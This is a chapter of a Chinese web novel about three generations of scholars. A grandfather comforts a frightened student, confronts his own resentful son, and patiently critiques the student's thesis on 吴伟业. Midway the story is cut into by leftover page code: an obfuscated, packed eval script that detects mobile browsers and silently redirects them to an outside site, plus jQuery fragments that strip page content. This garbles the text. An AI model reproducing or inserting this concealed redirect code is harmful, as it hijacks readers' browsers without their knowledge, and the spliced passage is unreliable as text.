呦呦是也 作品

107.三代

早上众人都下来吃早餐了,唯独不见庄遂平。老先生边喝粥边道:“怎么不去叫那孩子下来?”


纪慎知道这话是跟自己说的,没好气道:“起得比长辈晚,怎么的也得挨顿板子,爱起不起,谁要叫他?”


这是纪家从前的规矩了,纪慎是这样受教的,后来也是这样教纪沅的。纪氏父子离心,跟这些繁琐的规矩不能说没有关系。只是现在老先生年纪大了,心肠软了很多。


纪母知道儿子心里有气,劝和道:“就让他多睡一会吧,咱们吃咱们的,等他醒了再给他热一热。”


老先生拿起餐巾擦擦嘴,起身道:“我去看看。”


这一看,爷孙俩都吓着了,庄遂平刚从噩梦中醒来,见了老先生,吓得一抖,立刻就要往床头躲,结果“砰”一声撞上床头,脑袋像裂开似的,疼得他脸都皱了起来。


老先生赶紧上前去想瞧瞧,哪知小孩跟见了鬼一样,整个人缩成一团,惊恐地盯着他,不住摇头。老先生不明所以,问:“这是怎么了?”


“不要,”庄遂平呜咽着,“不要打……”


老先生没听清,往前走了两步,不料小孩竟吓得滚下了床,蜷在地上一阵阵干呕。


老先生见这场景,才知出了大事,忙上前去扶着,让他坐到床上:“是不是病了?不要吓唬师爷……”


庄遂平呕了一阵,什么也没吐出来,筋疲力竭之时渐渐从梦魇中走出来,看着老先生,微微湿了眼眶。


“吓着了?”


“做了噩梦。”


“吓坏了是不是?没事了,换个衣服,下去吃早饭,等会师爷给你讲论文。”


庄遂平手指一蜷,怯怯问:“可以不讲吗?”


“今天不想写论文?”


庄遂平摇摇头,不敢看老先生:“我写得,写得太差了。”


“师爷还没开始说呢,你就说差,睡糊涂了!”老先生拍了拍他,“好了,快去洗漱,师爷在楼下等你。”


庄遂平没法拒绝,只得点了点头。老先生也不放心,看着他进了卫生间才慢慢出来准备下楼去。


没曾想还没下楼呢,就看见准备到楼上的纪慎。父子俩目光一对上,彼此都有些尴尬,沉默着没有说话。


卫生间传来“哗哗”的水声,父子俩倒是默契地往那头瞧了一眼,又不约而同地转了过来。


“纪慎,”还是老先生先开的口,“你对他做过什么?”


纪慎不耐烦地扭开了头,还是选择转身下楼。


“纪慎!”老先生提高音量,叫住了他,“老师不是这样当的。”


纪慎扶着扶手转过身来,眼神颇为复杂,有些难过,但更多的是怨恨。


“那也只能怪爸没有做好榜样!”


一句责怪掷地有声,连刚走到楼梯边的庄遂平都怔住了。


一道楼梯边缘,祖孙三代,每个人之间都隔着距离。


纪慎移开目光,看向庄遂平:“让你去挑书挑了没有?挑了就走了!”说罢不等回应,“蹬蹬蹬”下楼了。


纪母在楼下,拉住气呼呼的儿子,轻轻拍了他一巴掌,嗔怪道:“又在这里胡说八道!说好回来住一周的,这才第几天?!快点,换个鞋子,陪妈散步去!”


纪慎左右在家里也不舒服,便听母亲的,出门散步去了。


母亲挽着纪慎的手,走到花园中心,才慢慢问:“你这两年见过沅沅没有?在一个城市里头,说起来你们的工作也搭得上边的,你要照顾他。”


“他还要我照顾?爸不是什么都教给他了?再说了,他那工作做起来得心应手才是,校对编辑么,有什么好照顾的?”


“你心里就是怨你爸,什么都教给他了,难道没有教给你?要不是你爸从小对你……就靠你在学校里学那点东西,现在才当不成什么系主任!”母亲叹了声气,“你当年非要跑那么远去读书,当时兵荒马乱的,你爸不知道多担心,偏生嘴硬,什么都不肯说,后来安定下来了,你爸虽然表面不说,可总是留意你们那里的消息,你这次肯回来,你爸很高兴的。还有你带回来那个小孩子,你爸对自己的学生都没有这么上心的,昨晚看那个论文看了一宿……”


纪慎哼了一声:“自己的儿子和学生不上心,倒是对别人的儿子和学生上心!”


“什么别人?!上心的还不都是你的儿子和学生!说回来,妈也没见你对谁这么上心过,你很喜欢这个学生吧?”


纪慎怔了一下,竟不知道如何回答。


屋里头,庄遂平吃了早餐便胆战心惊地往客厅去了。他的论文摆在桌上,他的字是黑色,纪慎的批注是红色,昨晚老先生又用蓝色的墨水写了修改意见,每张纸都满满当当的。<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15288384|143212||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>“来。”老先生朝他招招手,让他坐下,“咱们先说好的。”


一般来说,到了老先生这个年纪和地位,再给别人指导文章,就只会一针见血地说问题在哪里,不会再有什么夸奖和安抚了,只是见小孩一直怯怯的,对自己没什么信心,才多了这一道程序。


庄遂平也觉得惊奇——自己的文章还能有好的地方?


“你写的吴伟业,其实研究吴伟业的人也不少了,但是你的同理心好像很强,师爷还是头一回看到有人花这么长的篇幅去剖析他的矛盾心理。”


不愿意舍弃自己一身本事,害怕就此丧生,却又不愿在青史上留下二臣的污点,一个晚明才子,在外界的压迫和内心的软弱双重作用下,最终出任清朝官员,走上了一条会被世人诟病的道路。别人都在指责他如何不坚守立场,可庄遂平却想,他一定也很痛苦,以至于死后也只想留下诗人的名号。


“我、我是觉得要深入理解他的心理,才可以正确解读他的诗文……”庄遂平一边解释一边看向纸上红色的批注:过于啰嗦,删。


果然是不该写的吧。


“你的想法很对,剖析得也很有层次感,但是语言有点累赘了,师爷想着这部分还是可以保留的,但是语言一定要简练,否则篇幅就拉得太长了。”


庄遂平不是那种特别灵的小孩,老先生能感觉到,给他讲论文得特别耐心,剖得很细,可是他很谦逊,不会像一些自以为是的学生一样梗着脖子说自己是对的,也不会口是心非,嘴上应着是是是,心里却不认同。


这样的性子,倒是很适合做学术。


“走,上楼去,师爷给你找书。”讲完论文,老先生帮他收好,拉着他到书房去了。


那两个大柜子,老先生轻车熟路地打开其中一个的玻璃柜门,在第三排中间抱出了一大沓破旧的古籍,放在一旁的书桌上:“我记得有本吴梅村的集子,还有一本钱谦益的,你用得上,带回去。”


“啊?”庄遂平受宠若惊,连忙摆手,“不不不,不用了……”


“说什么不?你老师来,不就是为这事?来一趟,什么都不给你,显得师爷多小气!”老先生笑吟吟的,边说边找书,让庄遂平头一回有了那种奇妙的感觉。


就像是巍思在严先生家里,阅冬在秦老师家里。


被爱着被呵护的感觉。